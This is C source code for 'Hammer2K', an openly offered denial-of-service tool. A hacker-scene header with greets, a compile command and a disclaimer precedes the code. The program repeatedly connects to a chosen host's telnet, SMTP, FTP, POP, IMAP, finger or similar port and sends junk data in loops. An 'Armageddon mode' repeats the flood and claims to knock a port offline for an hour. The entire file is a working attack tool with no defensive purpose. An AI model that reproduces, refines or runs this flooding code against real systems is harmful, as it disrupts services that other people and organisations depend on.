/*
::::: Hammer2K version 0.8 ::::: A DoS Tool
By: Threx <threx@attrition.org> 
http://inferno.tusculum.edu/~threx

---------GREETS------------
== People that helped in the development of Hammer2K (testing & ideas)==
vortek, Mister-X, DigiEbola, xsprite, & xum_mux
== Good People ==
Everyone on #svun on undernet, operat0r, codewarrior, Sp0ar, d0g,
soulslack, syphix, ziricon, Temujin, Terminal, Th3 M@niac, WeaponsX
Bernz, Hellrider, Rezin, APHC (http://aphc.cjb.net)  

---------COMPILE-----------
Simply enter the following command.

bigblue:~# gcc hammer2k.c -o hammer2k

---------DISCLAIMER--------
I TAKE NO RESPONSIBLITY FOR YOUR ACTIONS WITH HAMMER2K.  YOU WILL USE THIS
AT YOUR OWN RISK!
*/


#include <sys/stat.h>
#include <fcntl.h>
#include <sys/file.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

char *msg = "123456789123456789123456789123456789123456789123456789";

int sock;
int b;
int X;
int p;
int l;
int len;
int a;
int Usage(char *ARG);
int tcp(void);
int armageddon(void);
int all(void);


struct hostent *he;
struct sockaddr_in target;


int main(int argc, char *argv[])
{



if (argc < 4)
{
  Usage(argv[0]);
}




if ((he=gethostbyname(argv[1])) == NULL)
{
  printf("\n ERROR: hostname lookup failed \n");
exit(1);
}



  if (strcmp(argv[2], "-telnet")==0)
  {
  p = 23;
  l = 1800;
  }
  else if (strcmp(argv[2], "-inetd")==0)
  {
  p = 113;
  l = 4000;
  }
  else if (strcmp(argv[2], "-pop2")==0)
  {
  p = 109;
  l = 3000;
  }
  else if (strcmp(argv[2], "-imap2")==0)
  {
  p = 143;
  l = 4000;
  }
  else if (strcmp(argv[2], "-finger")==0)
  {
  p = 79;
  l = 1400;
  }
  else if (strcmp(argv[2], "-smtp")==0)
  {
  p = 25;
  l = 740;
  }
  else if (strcmp(argv[2], "-ftp")==0)
  {
  p = 21;
  l = 800;
  }
  else if (strcmp(argv[2], "-pop3")==0)
  {
  p = 110;
  l = 1350;
  }
  else if (strcmp(argv[2], "-netstat")==0)
  {
  p = 15;
  l = 1300;
  }
  else
  {
  printf("\n ERROR: Hammer2K doesn't support that service. \n");
        }

  

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {  
    printf("\n ERROR: fatal socket error \n");
    exit(1);
    }

    target.sin_family = AF_INET;
    target.sin_port = htons(p);
    target.sin_addr = *((struct in_addr *)he->h_addr);

    if (connect(sock, (struct sockaddr *)&target, sizeof(target)) ==
    -1)
    {
    printf("\n ERROR: fatal connection error \n");
    exit(1);
    }



a = atoi(argv[3]);

  if (strcmp(argv[3], "-A")==0)
  {
  armageddon();
  }
  else if (strcmp(argv[3], "-NA")==0){
  tcp();
  }
  else {
  printf("\n ERROR: please use -A (Armageddon ON) or -NA (Armageddon off) \n");
  }


}




int Usage(char *ARG)
{
printf("\n\n Hammer2K by Threx <threx@attrition.org>");
printf("\n Usage: Hammer2K <host> <service> <armageddon-mode>");
printf("\n ::<host>:: ");
printf("\n   0.0.0.0   ");
printf("\n   target.net ");
printf("\n\n ::<service>:: ");
printf("\n   -netstat ");
printf("\n   -ftp     ");
printf("\n   -telnet  ");
printf("\n   -smtp    ");
printf("\n   -finger  ");
printf("\n   -pop2    ");
printf("\n   -imap2   ");
printf("\n   -pop3    ");
printf("\n\n ::<armageddon-mode>:: ");
printf("\n   -NA = Armageddon Mode Off");
printf("\n   -A  = Armageddon Mode On\n\n");
exit(1);
}




int armageddon(void)
{

int loop;
int number;

loop = 10;

printf("\n\nHammer2K by Threx <threx@attrition.org>");
printf("\nHomepage http://inferno.tusculum.edu/~threx");
printf("\n Armageddon Mode is [ON] (This will kill a port for one hour)\n");
printf("\n\n Flooding port......\n\n");

  for(number = 1; number < loop; number++) 
   {
  for(X = 1; X < l; X++)
  {
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {  
    printf("\n ERROR: fatal socket error \n");
    exit(1);
    }

    target.sin_family = AF_INET;
    target.sin_port = htons(p);
    target.sin_addr = *((struct in_addr *)he->h_addr);

    if (connect(sock, (struct sockaddr *)&target,
    sizeof(target)) == -1)
    {
    goto timer;
    }

    if ((send(sock, msg, len, 0)) == -1)
    {
    printf("\n ERROR: fatal send error \n");
    exit(1);
    }
  
    
    len = strlen(msg);
    send(sock, msg, len, 0);
    close(sock);  

      }

   
    timer:
    system("sleep 600");
    }
printf("\n Port %d has been killed for one hour. \n\n", p);
close(sock);

return 0;


}



int tcp(void)
{
printf("\n\nHammer2K by Threx <threx@attrition.org>");
printf("\nHomepage http://inferno.tusculum.edu/~threx");
printf("\n Armageddon Mode is [OFF]]\n");
printf("\n\n Flooding port......\n\n");
  for(X = 1; X < l; X++)
  {

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {  
    printf("\n ERROR: fatal socket error \n");
    exit(1);
    }

    target.sin_family = AF_INET;
    target.sin_port = htons(p);
    target.sin_addr = *((struct in_addr *)he->h_addr);

    if (connect(sock, (struct sockaddr *)&target,
    sizeof(target)) == -1)
    {
    printf("\n Port %d: Killed \n", p);
    exit(1);
    }

    if ((send(sock, msg, len, 0)) == -1)
    {
    printf("\n ERROR: fatal send error \n");
    exit(1);
    }
  
    
    len = strlen(msg);
    send(sock, msg, len, 0);
    close(sock);  
      }


printf("\n Port %d: Port assumed to be open. \n\n", p, l);
close(sock);

return 0;

}